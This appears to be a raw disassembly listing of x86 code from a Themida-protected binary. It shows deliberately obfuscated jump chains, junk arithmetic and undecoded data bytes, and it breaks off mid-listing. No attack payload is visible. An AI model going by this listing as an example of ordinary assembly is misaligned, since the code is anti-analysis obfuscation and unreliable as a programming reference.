aSrsqiIYiHgy	db 'SRSQˆÁˆËYˆÚ[hGy',0
		dd 24048900h, 0C788D088h, 0E924048Bh, 0FFFFE69Dh, 8124148Bh
		dd 4C4h, 0CB24E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5654D6:				; CODE XREF: Themida_:00568C99j
		add	edi, 23141590h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_570408
; ---------------------------------------------------------------------------
		db 68h
		dd 9990B59h, 0E9F0295Eh, 0FFFFFAD3h, 3C7D68h, 24048900h
		dd 0FF8B9EE9h, 0B1968FFh, 2C890000h, 2AAF6824h,	815D0972h
		dd 0B393ACDh, 49E5E934h, 74FF0000h, 0EBE90424h,	83000007h
		dd 248904ECh, 8871E924h, 0B5C0000h, 2B840FC9h, 8300008Fh
		dd 3C8904ECh, 4EC8124h,	54000000h, 5524048Fh, 4BDh, 246C0100h
		dd 34FF5D04h, 0ADAAE924h, 0FF5C0000h, 81582434h, 4C4h
		dd 4EC8100h, 89000000h,	0D2E9243Ch
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565573:				; CODE XREF: Themida_:0056C9E5j
		pop	esi
		shr	esi, 8
		or	esi, 5E3065B9h
		xor	esi, 58862287h
		not	esi
		xchg	ecx, esi
		jmp	loc_56CBCF
; ---------------------------------------------------------------------------


loc_56558C:				; CODE XREF: Themida_:005674C2j
		add	esp, 4
		push	edi
		jmp	loc_56CA87
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FF971AE9h, 815954FFh, 4C1h,	0E9505200h, 0FFFFDA62h
		dd 0C581E589h, 4, 8704C583h, 55C242Ch, 4, 2BD55h, 77050000h
		dd 5531EE31h, 890026BDh, 7E9E2D17h, 0E8011227h,	0FFF86EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5655DD:				; CODE XREF: Themida_:00566E2Dj
		mov	edi, 73A81AF7h
		add	ebp, edi
		pop	edi
		jmp	loc_56756C
; ---------------------------------------------------------------------------
aM0StS		db '¬0ØST[éËÑ',0        ; DATA XREF: Themida_:0055DF8Co
		db 0
; ---------------------------------------------------------------------------


loc_5655F5:				; CODE XREF: Themida_:0056B21Aj
		shr	eax, 0Ch
		jmp	loc_56973F
; ---------------------------------------------------------------------------


loc_5655FD:				; CODE XREF: Themida_:00571F0Aj
		add	ecx, edi
		add	ecx, 536B0613h
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		jmp	loc_56A9A1
; ---------------------------------------------------------------------------
		dw 2489h
		dd 0BB535624h, 5DDB1CC3h, 0DB1CC768h, 0DE315E5Dh, 0B5CEE9h
		db 0
byte_56562D	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055DEE4o
		dd 1E766824h, 1C890000h, 51E38924h, 502946B9h, 3BE95216h
		dd 310000C0h, 0BD555BDAh, 930CCCh, 8A13E945h, 0D0F70000h
		dd 0CB564E05h, 0A9A4E9A2h, 0A5BF0000h, 0E933506Dh, 6FDEh
; ---------------------------------------------------------------------------


loc_56566C:				; CODE XREF: Themida_:00563DCDj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 1F3F0A46h
		sub	ebp, 0C4137A3h
		add	ebp, 0ED022D61h
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 0A17888h
		shl	edx, 8
		or	edx, 1C673D76h
		xor	edx, 0BD7FBD72h
		add	ebx, edx
		pop	edx
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_56638C
; ---------------------------------------------------------------------------
		dw 34FFh
aSV		db '$é)¢',0
		align 2
		dw 0C780h
		dd 6EFC0E7h, 802BEF80h,	0FD28B0C7h, 0E9241C8Bh,	0FFFF9EB4h
; ---------------------------------------------------------------------------


loc_5656F4:				; CODE XREF: Themida_:005695A2j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_570728
; ---------------------------------------------------------------------------


loc_565700:				; CODE XREF: Themida_:0056D0E8j
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_568556
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9CC88566h, 0FF8982E9h
		db 0FFh
byte_56571D	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055DDF4o
		dd 4EC8124h, 89000000h,	0E0892404h, 2E40BA52h, 0E94A4E1Fh
		dd 7264h
dword_565738	dd 0FF2434FFh, 8E92434h, 52FFFFC5h, 880A60BAh, 14CA811Eh
					; DATA XREF: Themida_:0055E01Co
		dd 815C6922h, 0B338C5CAh, 29F28146h, 0E9F4DF7Ch, 0FFFF89ADh
; ---------------------------------------------------------------------------


loc_565760:				; CODE XREF: Themida_:0055F930j
		push	edx
		pop	edi
		pop	edx
		xchg	edi, edx
		jmp	loc_561F88
; ---------------------------------------------------------------------------


loc_56576A:				; CODE XREF: Themida_:0056825Cj
		add	ecx, 9D30AF5Fh
		add	edx, ecx
		pop	ecx
		add	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	7798h
		jmp	loc_56DD76
; ---------------------------------------------------------------------------
		dw 0CF31h
		dd 16EF8159h, 0E99DB452h, 4061h, 0F6801CB6h, 80C6FE05h
		dd 0EE801AF6h, 6BB15159h, 859CE30h, 0E1D05AF1h,	8852F180h
		dd 0D0F659C8h, 4BE99B2Ch
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5657BF:				; CODE XREF: Themida_:0056364Aj
		not	ecx
		push	7F3Ch
		jmp	loc_568DF4
; ---------------------------------------------------------------------------


loc_5657CB:				; CODE XREF: Themida_:005643A6j
		mov	[esp], ecx
		mov	ecx, 2
		add	edx, 12903EADh
		jmp	loc_566A35
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 33EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5657E6:				; CODE XREF: Themida_:0056E49Fj
		xor	[esp+4], esi
		jmp	loc_56016D
; ---------------------------------------------------------------------------


loc_5657EF:				; CODE XREF: Themida_:005714C3j
		push	edi
		jmp	loc_56F48E
; ---------------------------------------------------------------------------


loc_5657F5:				; CODE XREF: Themida_:0056A17Fj
		push	ebx
		mov	ebx, edi
		jmp	loc_56C474
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 81000000h, 4ECh, 257AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56580E:				; CODE XREF: Themida_:00568EF3j
		mov	[esp], esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_571BDC
; ---------------------------------------------------------------------------
		db 29h,	0F1h, 8Bh
		dd 0C4832434h, 0BDF18104h, 5270F009h, 197DFDBAh, 81DAF76Bh
		dd 70AA9EAh, 81E2815Ah,	817AD24Eh, 0F64932F2h, 0A4F28158h
		dd 2937E035h, 55505AD1h, 1348CEBDh, 0D6D2E968h,	315AFFFFh
		dd 0C7AEE9D1h, 0B60FFFFFh, 776866C0h, 4896604h,	882DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565872:				; CODE XREF: Themida_:005613CBj
		dec	ebx
		push	eax
		mov	eax, 7FA7BFEAh
		xor	ebx, eax
		mov	eax, [esp]
		jmp	loc_56E510
; ---------------------------------------------------------------------------


loc_565883:				; CODE XREF: Themida_:005674B1j
		push	6Fh
		mov	[esp], eax
		push	edx
		pop	eax
		pop	edx
		jmp	loc_56C7EA
; ---------------------------------------------------------------------------
		db 0B9h
		dd 1B8B1C53h, 4924BA52h, 51E91471h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5658A3:				; CODE XREF: Themida_:00560DB3j
		sub	eax, 0BC3328C5h
		sub	ecx, 359F0A32h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 58080ABFh
		jmp	loc_5667CD
; ---------------------------------------------------------------------------
aSs		db 'Áê',8,'é™À',0
		align 2
aBTxarset	db 'Ïtxré¥t',0
		dd 0E9DD8800h, 800Eh
; ---------------------------------------------------------------------------


loc_5658D8:				; CODE XREF: Themida_:00569E90j
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	3F65h
		mov	[esp], ebx
		mov	ebx, 4
		push	esi
		mov	esi, 5F4D0A65h
		not	esi
		not	esi
		shl	esi, 7
		push	ecx
		jmp	loc_56E745
; ---------------------------------------------------------------------------
		db 53h,	68h, 0C5h
		dd 0E90EE348h, 95DEh, 0EC80CCFEh, 0F9C480C4h, 8803F480h
		dd 402C58E1h, 4004C800h, 240C8B66h, 2C483h, 8B792CE8h
		dd 51E9240Ch
		db 0B6h, 2 dup(0FFh)
byte_56592F	db 66h			; DATA XREF: Themida_:0055E040o
		dd 8324048Bh, 48904ECh,	83E08924h, 1C8904ECh, 0E9685524h
		dd 5D034847h, 0B7B81BBBh, 61EB81FCh, 507C582Dh,	922AE3B8h
		dd 9FC0549h, 9C354A18h,	0D051461h, 20B1947h, 19BB7E05h
		dd 1CADE9CDh, 0C0830000h, 24048704h, 8124248Bh,	4C5h, 2BB5300h
		dd 0E9000000h, 0FFFFA3BDh, 0DCF6BBB4h, 808EE480h, 0EC8072F4h
		dd 6B686644h, 14896611h, 300EB624h, 665A66F4h, 6628CC68h
		dd 0B5240C89h, 0B1C58057h, 69E9DDF6h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5659BB:				; CODE XREF: Themida_:0056C002j
		sub	ebp, edx
		pop	edx
		jmp	loc_5668BF
; ---------------------------------------------------------------------------
		db 66h
		dd 92EB8058h, 15E9DBF6h, 0BA000042h, 244E4C8Eh,	2D93BD55h
		dd 0BA526035h, 3B9A05FCh, 0B80DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5659E5:				; CODE XREF: Themida_:0056AE0Ej
		add	edi, 7BC30E46h
		jmp	loc_5638F2
; ---------------------------------------------------------------------------
		dd 0DA1588BAh, 81D2F719h, 0F6A5D7EAh, 23E9814Bh, 1247E2Fh
		dd 0F748E9D1h, 0DD04FFFFh, 48BC788h, 4C48324h, 51D6F780h
		dd 15B0E9h, 241C8900h, 50683CBBh, 0C372E932h, 6866FFFFh
		dd 89662645h, 50682414h, 8900003Eh, 16E9240Ch
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565A3F:				; CODE XREF: Themida_:0055ED1Dj
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	5CA2h
		mov	[esp], ecx
		push	esi
		jmp	loc_563488
; ---------------------------------------------------------------------------
		dw 4058h
		dd 0A8564D35h, 8BC5892Ch, 5BE92404h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565A7F:				; CODE XREF: Themida_:005651E6j
		xor	edx, 4887471h
		shl	edx, 3
		sub	edx, 59823F50h
		jmp	loc_568401
; ---------------------------------------------------------------------------
aSysps		db '(èY鯘',0
		dw 8100h
		dd 48070FE9h, 8BCA2968h, 0C483240Ch, 8BD08904h,	0C4832414h
		dd 58C20104h, 44E9ED81h, 0D5013458h, 44E9C581h,	525A3458h
		dd 0FFFE34E9h, 66EFBFFFh, 0E94F4981h, 0FFFFA706h, 51240489h
		dd 0B7E95152h, 6600007Fh, 74E95053h, 31000093h,	31D631F2h
		dd 0FFEA81F2h, 4AFFFFFFh, 820DB951h, 0CA31691Ch, 16112D59h
		dd 0D0014DCAh, 0CA161105h, 0F9BAE94Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565B0E:				; CODE XREF: Themida_:00569583j
		pop	esi
		jmp	loc_55F4BF
; ---------------------------------------------------------------------------
		dd 5F2434FFh, 4C481h, 0E9560000h, 0FFFFB3EDh, 4C4835Eh
		dd 34FFF301h, 0C4835E24h, 2123E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565B36:				; CODE XREF: Themida_:00562CAFj
		add	ebp, edx
		sub	ebp, 7B9B5CC1h
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, edi
		sub	ebp, 45B809FFh
		jmp	loc_561DD0
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 0F3h
		dd 0F0000C5h, 8B66C0B6h, 0EC812414h, 4,	68240489h, 2AB6h
		dd 81242489h, 42404h, 34FF0000h, 24048B24h, 8104C483h
		dd 4C4h, 66BE5600h, 814F8846h, 1C6h, 66916800h,	3C890000h
		dd 49AFBF24h, 0FE314C79h, 4ED6F75Fh, 0AA53E9h, 0C83B6600h
		dd 84EDE99Ch, 0BF57FFFFh, 0
		dd 0FA87D729h, 7EAC15Fh, 2821E942h, 5BF0000h, 0E9D159CCh
		dd 0FFFF8BFFh, 5DE8895Dh, 4562EB81h, 0C30134D5h, 4562C381h
		dd 565834D5h, 4BEh, 9DBCE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565BEE:				; CODE XREF: Themida_:00570BE9j
		pop	ecx
		sub	bl, dh
		add	bl, 1Fh
		jmp	loc_560E0E
; ---------------------------------------------------------------------------
		db 0B2h, 8Ch, 52h
		dd 0CEFEA4B6h, 2A056866h, 240C8966h, 0CE20BAB1h, 88E95966h
		db 53h,	2 dup(0)
byte_565C13	db 0FFh			; DATA XREF: Themida_:0055E03Co
a4Ys7		db '4$Yé',0Ah
		db '7',0
		align 4


loc_565C1C:				; CODE XREF: Themida_:0056E62Cj
		push	ecx
		push	edx
		jmp	loc_56D12E
; ---------------------------------------------------------------------------
byte_565C23	db 8Bh			; DATA XREF: Themida_:0055E034o
		dd 0EC81240Ch, 4, 89242C89h, 97B7E9E5h,	0CA89FFFFh, 0E9D72959h
		dd 0BDEAh
; ---------------------------------------------------------------------------


loc_565C40:				; CODE XREF: Themida_:00566959j
		shl	esi, 8
		shl	esi, 7
		push	edx
		mov	edx, 3AE85E0Dh
		xor	edx, 7E6E76FBh
		dec	edx
		shl	edx, 6
		not	edx
		xor	edx, 6ED67F8Ah
		jmp	loc_56E953
; ---------------------------------------------------------------------------
		db 59h
		dd 218E9h, 4DFABB00h, 0ACE94BCCh, 500008Ah, 4, 6BBFE9h
		dd 68EAD100h, 18FAh, 0B8240489h, 433044Ch, 0B7E9D0F7h
		dd 89000050h, 2D2768E1h, 0DFE90000h, 55FFFFBAh,	0FFB22DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565CA5:				; CODE XREF: Themida_:0055E9C9j
		pop	edi
		push	edi
		mov	edi, 52350185h
		sub	ebp, 7CE449F7h
		add	ebp, 1D2E035Ah
		add	ebp, edi
		sub	ebp, 1D2E035Ah
		add	ebp, 7CE449F7h
		pop	edi
		add	ebp, ebx
		sub	ebp, 52350185h
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	1E1Dh
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 0E9509E1h
		jmp	loc_56A296
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 1000000h, 243C8BFBh,	4EC81h,	1C890000h, 81E38924h, 4C3h
		dd 3F9EE900h, 8F590000h, 0CBE92404h
		db 0BEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_565D17:				; CODE XREF: Themida_:0056924Bj
		push	6F4Ah
		jmp	loc_572806
; ---------------------------------------------------------------------------
aNs_0		db '­é|»',0             ; DATA XREF: Themida_:0055DFB8o
		dw 3100h
		dd 0C3815AD3h, 616D79AFh, 0A0D96856h, 0A3E9E7FAh, 1FFFFFAh
		dd 0AD38E9D1h, 14890000h, 0E36CE924h, 5854FFFFh, 6522E953h
		dd 0CA810000h, 0F73B0Ch, 0BC29C281h, 0D301B9BAh, 0E2BE565Ah
		dd 2919290Fh, 0D8015EF0h, 290FE205h, 0E95D5B19h, 8D2Ch
		dd 57E95453h, 56FFFFA2h, 62FDC1BEh, 5EF12968h, 0C8BCA89h
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 5AD0015Ch
		dd 4D7C0E2Dh, 582FE932h, 4B80000h, 81000000h, 1B094AC6h
		dd 87BEE92Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565DBA:				; CODE XREF: Themida_:005670CDj
		inc	ebp
		jmp	loc_56E840
; ---------------------------------------------------------------------------
		dd 49E9E389h, 0FEFFFFB2h, 0FAF480C4h, 80C5CC80h, 0D4F693C4h
		dd 2857F480h, 24048BE3h, 4B7FE9h
		db 0
; ---------------------------------------------------------------------------


loc_565DE1:				; CODE XREF: Themida_:00562E73j
		mov	edi, 59C66D60h
		sub	ebp, edi
		pop	edi
		pop	ecx
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_565DF4:				; CODE XREF: Themida_:00560745j
		mov	ebx, 782327EBh
		sub	ebx, 0AB1CF107h
		add	ebp, ebx
		pop	ebx
		add	esi, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 7B2F08F7h
		jmp	loc_55EF27
; ---------------------------------------------------------------------------


loc_565E15:				; CODE XREF: Themida_:00564881j
		xor	edi, [esp]
		pop	esp
		and	ecx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	1164h
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		add	eax, 4
		jmp	loc_570DC7
; ---------------------------------------------------------------------------
aFiSu		db 'f‰<$éî$',0
		dd 494BBB00h, 0D82953C9h, 5992E95Bh, 0C5810000h, 841BA046h
		dd 0D2E9E901h, 5B0000B6h, 84CBE957h, 0EC810000h, 4, 18FE9h
		dd 0B8E98100h, 1469746h, 0B8C181C1h, 0FF469746h, 50582434h
		dd 86E9E089h, 0BA000014h, 9406259h, 814AD2F7h, 2A59EFC2h
		dd 0F2814222h, 37357680h, 0B888EA81h, 0D701636Fh, 0E924148Bh
		dd 0FFFFFE2Dh
; ---------------------------------------------------------------------------


loc_565EC0:				; CODE XREF: Themida_:0056F881j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_563886
; ---------------------------------------------------------------------------


loc_565ECE:				; CODE XREF: Themida_:0056BF46j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 2F971663h
		sub	[esp+0Ch], eax
		jmp	loc_57213C
; ---------------------------------------------------------------------------
		db 68h
		dd 0DD7h, 81242489h, 42404h, 0C8B0000h,	4C48324h, 0A4E4E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565EFE:				; CODE XREF: Themida_:00571120j
		xchg	ebp, [esp]
		jmp	loc_564B8A
; ---------------------------------------------------------------------------
		dw 158h
		dd 47EF81C7h, 0E91B8D04h, 0FFFFECF8h
; ---------------------------------------------------------------------------


loc_565F14:				; CODE XREF: Themida_:00570182j
		mov	ebp, edx
		pop	edx
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, esi
		jmp	loc_56A1E9
; ---------------------------------------------------------------------------
		dw 74E9h
		dd 57FFFF81h, 4303A1BFh, 9E8EE961h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565F36:				; CODE XREF: Themida_:0056DFF7j
		pop	eax
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebx
		push	esp
		jmp	loc_570010
; ---------------------------------------------------------------------------


loc_565F44:				; CODE XREF: Themida_:0056E334j
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, edx
		mov	edx, [esp]
		jmp	loc_566B9A
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4D816800h, 14890000h, 4BA24h, 0D1290000h, 0FFF35AE9h
		dd 2434FFFFh, 8124048Bh, 4C4h, 0E3895300h, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 852FE9h, 240C8900h, 0A928E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565FA2:				; CODE XREF: Themida_:00567698j
		dec	ebp
		push	esi
		mov	esi, 48B3025Eh
		jmp	loc_571A78
; ---------------------------------------------------------------------------
		dw 305Ch
		dd 30FD30EFh, 243C30EFh, 30243C32h, 0DCE9243Ch
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565FC3:				; CODE XREF: Themida_:00567E16j
		pop	edx
		mov	eax, edi
		pop	edi
		add	[edi+24h], eax
		jmp	loc_5682D7
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 81000000h,	4EFh, 243C8700h, 243C895Ch, 0D6BA5255h
		dd 0E9121F63h, 27C4h, 4C281h, 0E9570000h, 7EB0h, 40E95066h
		dd 8100003Ah, 14B57E9h,	0E9D9015Ah, 0FFFFE797h,	0B9240C89h
		dd 3A54663Dh, 195E181h,	40E92932h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566023:				; CODE XREF: Themida_:00568497j
		mov	edx, 4
		add	ebp, edx
		jmp	loc_5664BB
; ---------------------------------------------------------------------------
		db 28h
		dd 4522CC8h, 89535994h,	4C381E3h, 0E9000000h, 4D88h
dword_566044	dd 24048B66h, 0FF9BF4E9h ; DATA	XREF: Themida_:0055DEA4o
		db 0FFh
; ---------------------------------------------------------------------------


loc_56604D:				; CODE XREF: Themida_:0055F01Cj
		pop	eax
		jmp	loc_571395
; ---------------------------------------------------------------------------
		db 59h
		dd 0EBE4E952h, 0B850FFFFh, 748D0EA3h, 3B46BB53h, 0EBD171F3h
		dd 0EBD1DBF7h, 2FB2E9h,	243C8B00h, 0FF9970E9h
		db 0FFh
byte_566079	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055DE18o
		dd 4EC8124h, 0E9000000h, 0FFFF9BC2h
; ---------------------------------------------------------------------------


loc_566088:				; CODE XREF: Themida_:0056F6EAj
		pop	esp
		jmp	loc_56E240
; ---------------------------------------------------------------------------
		dw 5257h
		dd 0A907B3BAh, 81D2F714h, 0CC76B1C2h, 23CA8173h, 8145B37Eh
		dd 82316EF2h, 0C8BDE916h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5660AE:				; CODE XREF: Themida_:0056181Dj
		sub	esi, 2160441Bh
		jmp	loc_55E8EC
; ---------------------------------------------------------------------------


loc_5660B9:				; CODE XREF: Themida_:00564E8Ej
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56439A
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0C64BE9h, 0FEF4BE00h, 0F229CF08h, 0FFEB25E9h, 0C1F787FFh
		dd 0E95504EFh, 0FFFFD12Dh, 835FFB89h, 0C38101C3h, 1, 0E907EBC1h
		dd 0FFFFC99Bh, 2D5DE829h, 6F2D50C2h, 5761B951h,	0C801065Dh
		dd 8E95759h, 5E000024h,	4EC81h,	0C890000h, 2474FF24h, 240C8B04h
		dd 0AF0CE9h
		db 0
; ---------------------------------------------------------------------------


loc_566121:				; CODE XREF: Themida_:0056AD12j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55FFE2
; ---------------------------------------------------------------------------


loc_56612A:				; CODE XREF: Themida_:0055E9BAj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5694DB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 8E95704h, 81FFFFF2h, 22864CEEh, 0A1C18141h
		dd 0E9598A25h, 62FFh
; ---------------------------------------------------------------------------


loc_566160:				; CODE XREF: Themida_:0056CD71j
		mov	[esp], eax
		mov	eax, 0D5DFC764h
		xor	ebp, eax
		pop	eax
		mov	esi, ebp
		pop	ebp
		not	esi
		neg	esi
		push	ecx
		mov	ecx, 3DD11EA8h
		xor	ecx, 276D0D68h
		push	ebp
		jmp	loc_56C5C0
; ---------------------------------------------------------------------------
		dd 31240C33h, 0C33240Ch, 4205C24h, 8E99C24h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566197:				; CODE XREF: Themida_:0056BF51j
		push	ecx
		jmp	loc_570BDC
; ---------------------------------------------------------------------------
		db 53h,	0FFh, 74h
		dd 8F5B0424h, 248B2404h, 240CD224h, 7EEDE99Ch, 0E95BFFFFh
		dd 0FFFFA669h
; ---------------------------------------------------------------------------


loc_5661B8:				; CODE XREF: Themida_:0055F7F3j
		add	ebx, 3CE958CAh
		add	ebx, esi
		sub	ebx, 3CE958CAh
		jmp	loc_5620BC
; ---------------------------------------------------------------------------
aQsg		db 'Qéƒ<',0
		dd 0E7895700h, 4C781h, 0C7830000h, 243C8704h, 0BD55505Ch
		dd 5E4374F6h, 0B3F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5661ED:				; CODE XREF: Themida_:0056971Bj
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_564128
; ---------------------------------------------------------------------------
aIY_saj		db '‰ÍY_éj',0
		db 0
; ---------------------------------------------------------------------------


loc_566209:				; CODE XREF: Themida_:00563A99j
		xor	eax, ebx
		mov	ebx, [esp]
		jmp	loc_570136
; ---------------------------------------------------------------------------
		db 50h
		dd 0FAB321B0h, 2C58C328h, 0E9D828AEh, 82BCh
off_566224	dd offset dword_533858+10h ; DATA XREF:	Themida_:0055DF78o
		dd 24348900h, 7068E689h, 8900000Ah, 0E8B82404h,	2D21942Bh
		dd 21942BE4h, 0E3E9C601h, 81FFFFEAh, 0E1228DF5h, 81EDD158h
		dd 1C5h, 0B7F58100h, 0E954897Eh, 81Ch, 241C895Ch, 42474FFh
		dd 0E9241C8Bh, 7E38h, 301ABB53h, 1BE936F0h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56627B:				; CODE XREF: Themida_:00560394j
		sub	ebp, 1C9105DAh
		sub	ebp, 66E717Ch
		jmp	loc_570F37
; ---------------------------------------------------------------------------


loc_56628C:				; CODE XREF: Themida_:00571CCBj
		add	esp, 4
		or	[edi+1Ch], ebx
		jmp	loc_5714D4
; ---------------------------------------------------------------------------
		db 83h
		dd 1C3304C3h, 3133E924h, 89500000h, 0C011E9E8h,	0C483FFFFh
		dd 0A423E904h, 0B9510000h, 4, 0C8BCD01h, 4C48124h, 81000000h
		dd 4C5h, 8BF7E900h, 0D6BBFFFFh,	0E937564Fh, 0FFFF8606h
; ---------------------------------------------------------------------------


loc_5662D8:				; CODE XREF: Themida_:00564072j
		pop	esp
		jmp	loc_56EC87
; ---------------------------------------------------------------------------
		dd offset aDi		; "Í>d‰%"
		dw 0E9D0h
		dd 0FFFFA10Eh, 16B35358h, 0D8281EB0h, 0BFB5515Bh, 26E9E800h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5662FB:				; CODE XREF: Themida_:005603F1j
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7D180B30h
		jmp	loc_5722DE
; ---------------------------------------------------------------------------
		dd 24048F54h, 0A45FE9h
		db 0
; ---------------------------------------------------------------------------


loc_566315:				; CODE XREF: Themida_:0056EC90j
		mov	ebx, 6CB052DBh
		sub	ebx, 560F1E5Fh
		shr	ebx, 5
		jmp	loc_55F0EB
; ---------------------------------------------------------------------------
		dd 382F68h, 242C8900h, 0C581E589h, 4, 4BF57h, 0FD290000h
		dd 0C5A4E9h, 74FF5500h,	2C8B0424h, 4C48124h, 8F000000h
		dd 248B2404h, 0C8AF0F24h, 3CE99C51h, 87FFFF7Dh,	685C242Ch
		dd 6C0Ch, 89243C89h, 6A58E9E7h,	0F3810000h, 9E106BEh, 0BE5BDD89h
		dd 118FF7B7h, 0E95DEE01h, 0FFFF8DACh
; ---------------------------------------------------------------------------


loc_56638C:				; CODE XREF: Themida_:005656D1j
		pop	esp
		mov	[esp], ebx
		push	4EF8h
		mov	[esp], ebp
		jmp	loc_5613E5
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 4
		dd 0E9000000h, 9515h, 53240401h, 736DD0BBh, 245C016Fh
		dd 68535B04h, 3040h, 0E9242C89h, 0FFFFC3C8h, 3CE9E089h
		dd 0DFFFF8Dh, 716E7D3Dh, 467DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5663D5:				; CODE XREF: Themida_:00567230j
		pop	ecx
		jmp	loc_55EE4A
; ---------------------------------------------------------------------------
		db 28h
		dd 0B75359C8h, 0E9E7D0A8h, 0FFFFD82Ah, 0C4C68158h, 105CB5Eh
		dd 0C4EE81CEh, 8105CB5Eh, 6D46E8C6h, 39BA526Fh,	817CB03Ch
		dd 0C0E50EEAh, 5AD62948h, 0FFCA67E9h, 0DEC581FFh, 516BAA48h
		dd 3655C2B9h, 59CD3142h, 0FFFA3DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566425:				; CODE XREF: Themida_:0056E532j
		mov	edx, 6C937044h
		jmp	loc_563B06
; ---------------------------------------------------------------------------
		db 8Bh
		dd 14E92434h, 8100007Fh, 430477EEh, 5EF521D2h, 2629CD81h
		dd 504D164Eh, 0FFE3F0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56644D:				; CODE XREF: Themida_:0056F96Cj
		mov	esi, edi
		push	esi
		pop	eax
		mov	esi, [esp]
		push	ecx
		jmp	loc_56D777
; ---------------------------------------------------------------------------


loc_56645A:				; CODE XREF: Themida_:0055FDFEj
